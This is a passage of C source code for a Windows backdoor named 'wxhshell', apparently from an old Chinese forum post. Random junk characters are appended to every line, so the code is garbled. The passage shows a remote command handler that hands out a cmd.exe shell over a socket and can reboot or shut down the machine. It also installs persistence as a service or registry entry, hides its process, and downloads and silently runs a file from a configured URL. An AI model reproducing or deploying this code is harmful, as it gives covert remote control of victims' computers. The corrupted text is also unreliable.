  // 帮助 tg~@(IT}j  
  case '?': { nhdOo   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >))f;$D=  
    break; )hy(0 D  
  } w,)O*1't  
  // 安装 d!P3<:+R[  
  case 'i': { 7ciSIJ  
    if(Install()) ;}>g/lw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wJAJ /  
    else *DUP$@}k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iVSN>APe  
    break; UE\Z] t!  
    } :w,#RcW  
  // 卸载 %a\L^w)Xn  
  case 'r': { my]t[%Q{  
    if(Uninstall()) WeiDg,]e$b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , RKl  
    else E;MelK<8(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); })F.Tjf*  
    break; fw3P?_4;*  
    } ) Vf!U"  
  // 显示 wxhshell 所在路径 G4;5$YGG  
  case 'p': { a\l?7Jr  
    char svExeFile[MAX_PATH]; e0z(l/UB  
    strcpy(svExeFile,"\n\r"); Q94Lq~?YF  
      strcat(svExeFile,ExeFile); 2 ":W^P  
        send(wsh,svExeFile,strlen(svExeFile),0); 3 BQZ[%0@  
    break; ?se\?q  
    } ks|c'XQb  
  // 重启 JYw_Z*L=m  
  case 'b': { b4?]/Uy+/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pNnZ-R|u  
    if(Boot(REBOOT)) )45#lE3TH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |MMaaW^"  
    else { ;@<Rh^g]  
    closesocket(wsh); rNN ,!  
    ExitThread(0); o|V`/sW{  
    } % B^BN|r  
    break; 4K(oOxc9.  
    } }.k*4Vw#Wt  
  // 关机 1@:BUE;jZ  
  case 'd': { Ys@OgdS@:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y a/+|mv  
    if(Boot(SHUTDOWN)) I83 _x|$FZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E=# O|[=  
    else { dRL*TT0NW  
    closesocket(wsh); `8lS)R!  
    ExitThread(0); e.VQ!)>  
    } B{tROuN<  
    break; f`K[oCfu  
    } }bZb8hiG  
  // 获取shell Ly P Cc|  
  case 's': { $)#?4v<  
    CmdShell(wsh);  /~1Ew  
    closesocket(wsh); ~ ?JN I8  
    ExitThread(0); Dq[Z0"8  
    break; 8|) $;.  
  } N?s`a;Q[=  
  // 退出 Whl^~$+f  
  case 'x': { q}|_]R_y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O|AY2QH\  
    CloseIt(wsh); f\vMdY  
    break; )}$]~ f4R  
    } 7h#*dj ef  
  // 离开 2DNB?,uP,'  
  case 'q': { A}4 ",  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x8!uI)#tS  
    closesocket(wsh); lj /IN[U/  
    WSACleanup(); cd._q2  
    exit(1); D k<NlH zp  
    break; c5(4rT{(m  
        }  rrP_7D  
  } ]4onY >  
  } v\2- %  
u?rs6A[h#  
  // 提示信息 'Px}#f0IR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L\zyBfK}  
} ^AF~k#R  
  } 4TRF-f  
(B0QBDj!  
  return; s4`,Z*H  
} @]YEOk-  
kB9@ &t +  
// shell模块句柄 43,baeG  
int CmdShell(SOCKET sock) ] ^53Qbrv  
{ h?Lp9VF  
STARTUPINFO si; L/?jtF:o  
ZeroMemory(&si,sizeof(si)); / ?'FSWDU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zJ30ZY:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4MrUo9L$s  
PROCESS_INFORMATION ProcessInfo; a0&L,7mu<'  
char cmdline[]="cmd"; * hmoi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *]:J@KGf  
  return 0; ;(@' +"  
} az[#q  
oU|_(p"e|  
// 自身启动模式 7.kgQ"?&  
int StartFromService(void) HX{K5+  
{ N u3B02D*  
typedef struct ?vP6~$*B  
{ vA2>&YDFX  
  DWORD ExitStatus; q 7-ZPX  
  DWORD PebBaseAddress; T3NH8nH9"z  
  DWORD AffinityMask; w<u@L  
  DWORD BasePriority; >dJ[1s]  
  ULONG UniqueProcessId; 1i&|}"  
  ULONG InheritedFromUniqueProcessId; to;^'#B  
}   PROCESS_BASIC_INFORMATION; K;ocs?rk/  
7J1f$5$m5  
PROCNTQSIP NtQueryInformationProcess; O%f{\Fr  
vNHvuw K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K'f^=bc I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I;9C":'#  
sI MN""@Y^  
  HANDLE             hProcess; P@5}}vwS  
  PROCESS_BASIC_INFORMATION pbi; lnGg1/  
D*/fY=gK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _jb&=f8  
  if(NULL == hInst ) return 0; A=sz8?K+`  
[!#}#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G- |  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 67Ev$a_d"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D?FmlDTr[  
cTQ._|M  
  if (!NtQueryInformationProcess) return 0; ITy/h]0  
?pWda<&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N/eus"O;  
  if(!hProcess) return 0; " {X0&  
DzIV5FG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1)3'Y2N*  
Wuk!\<T{  
  CloseHandle(hProcess); \opcn\vW  
Qxfds`4V9i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 55ft ,a  
if(hProcess==NULL) return 0; U]W "  
MDZPp;\)  
HMODULE hMod; 6~l+wu<$  
char procName[255]; SmAii}-jf  
unsigned long cbNeeded; MEu{'[C  
2FY]o~@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u2IU/z8 ^  
{Iz"]Wh<f  
  CloseHandle(hProcess); DyCkz"1S  
ktkS$  
if(strstr(procName,"services")) return 1; // 以服务启动 3:)_oHq  
$Wjx$fD  
  return 0; // 注册表启动 $rJgBN   
} k7& cc|y  
]Ot=At  
// 主模块 3a&HW JBSx  
int StartWxhshell(LPSTR lpCmdLine) 4aKppj  
{ RXo6y(^  
  SOCKET wsl; \t%iUZ$  
BOOL val=TRUE; '#>Fe`[  
  int port=0; `.Zm}'  
  struct sockaddr_in door; lavy?tFer  
<rvM)EJv|  
  if(wscfg.ws_autoins) Install(); hkRqtpYK  
OdO n wY  
port=atoi(lpCmdLine); b`JS&E  
v4K! BW  
if(port<=0) port=wscfg.ws_port; WM%w_,Z  
mi1^hl'2  
  WSADATA data; $KhD>4^ jL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RY3=UeoF  
+~|Jn_:A f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l](!2a=[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dbb=d8utE  
  door.sin_family = AF_INET; e}n(mq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mmG]|Cl@  
  door.sin_port = htons(port); F8#MI G   
m2&Vm~Py6b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^Nu j/  
closesocket(wsl); KEdqA/F>  
return 1; 7H|0.  
} 4l>U13~#  
`sA xk  
  if(listen(wsl,2) == INVALID_SOCKET) { 'blMwD{0&\  
closesocket(wsl); AAqfp/DC  
return 1; B%`| W@v  
}  FLZ9Rg  
  Wxhshell(wsl); s:cJF  
  WSACleanup(); #K*p1}rf  
pNZ3vTs6  
return 0; ^=a:{["@!  
A-d<[@d0  
} Z78i7k}  
Sy]W4%  
// 以NT服务方式启动 _v(5vx_ {  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #s ' `bF^  
{ .l|29{J  
DWORD   status = 0; stMxlG"d  
  DWORD   specificError = 0xfffffff; tc{l?7P  
Ov4=!o=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @$Yk#N;&(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {NcJL< ;tS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4>2\{0r  
  serviceStatus.dwWin32ExitCode     = 0; O9m sPb:  
  serviceStatus.dwServiceSpecificExitCode = 0; zo("v*d*q  
  serviceStatus.dwCheckPoint       = 0; I[b{*g2Zw  
  serviceStatus.dwWaitHint       = 0; F/,6Jh  
"kC6G%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &ld<fa(w+2  
  if (hServiceStatusHandle==0) return; :5'hd^Q  
n*i&o;5  
status = GetLastError(); T tnJ u*  
  if (status!=NO_ERROR) 97<Z,q72Y  
{ epG]$T![  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1]Cb i7  
    serviceStatus.dwCheckPoint       = 0; xFJT&=Af W  
    serviceStatus.dwWaitHint       = 0; wWSw0 H/  
    serviceStatus.dwWin32ExitCode     = status; a8v\H8@X  
    serviceStatus.dwServiceSpecificExitCode = specificError; >rSCf=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C1(RgY|  
    return; -ik=P ]?  
  } j}K 3YfH  
T!Tp:&O-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >;F}>_i  
  serviceStatus.dwCheckPoint       = 0; D=Nt 0y  
  serviceStatus.dwWaitHint       = 0; .mg0L\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9G"4w`P  
} :4x6dYNU  
u\/TR#b  
// 处理NT服务事件,比如:启动、停止 L@jpid95  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mM2I  
{ e>6W ^ )  
switch(fdwControl) o( mA(h  
{ BHS@whj  
case SERVICE_CONTROL_STOP: q&O9W?E8dG  
  serviceStatus.dwWin32ExitCode = 0; J_j4Zb% K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j^v<rCzc (  
  serviceStatus.dwCheckPoint   = 0; `c|H^*RC  
  serviceStatus.dwWaitHint     = 0; Z0O0Q=e\Y  
  { 9YB?wh'S[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +uj;00 D  
  } IP-M)_I  
  return; NPFI^Uj#A  
case SERVICE_CONTROL_PAUSE: U3-MvI,Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9i lJ  
  break; 8e ?9:VM]  
case SERVICE_CONTROL_CONTINUE: +2k{y l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f}KV4'n  
  break; Hw toa,  
case SERVICE_CONTROL_INTERROGATE: #;lEx'lKN  
  break; T+t7/PwC;  
}; W5e >Z&&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A |@d{g  
} .W$9nbly  
:Ig9n :  
// 标准应用程序主函数 YHke^Ind  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (CtRU   
{ *a0#PfS[  
6 {F#_.  
// 获取操作系统版本 F&^&"(H}  
OsIsNt=GetOsVer(); 1{RA\CF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %KN2iNq  
<g\:By^  
  // 从命令行安装 ( Rp5g}b  
  if(strpbrk(lpCmdLine,"iI")) Install(); j9w{=( MV  
+W$uHQq  
  // 下载执行文件 -UAMHd}4  
if(wscfg.ws_downexe) { <Wj /A/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TEGg)\+D>  
  WinExec(wscfg.ws_filenam,SW_HIDE); Im};wJ&  
} \}<J>R@  
bE=[P}E  
if(!OsIsNt) { Jk:ZO|'Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 ()$m9%x  
HideProc(); [9}<N2,9z  
StartWxhshell(lpCmdLine); ,J<+Wxz  
} w@YPG{"j  
else 3h%Nd &_9  
  if(StartFromService()) /QCg E ~  
  // 以服务方式启动 aI}htb{m`  
  StartServiceCtrlDispatcher(DispatchTable); 4x=sJ%E  
else @at*E%T[  
  // 普通方式启动 uINEq{yo  
  StartWxhshell(lpCmdLine); 7Up-a^k^`  
iAPGP -<6  
return 0; \{Je!#  
}
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只看该作者 1 发表于: 2006-10-10
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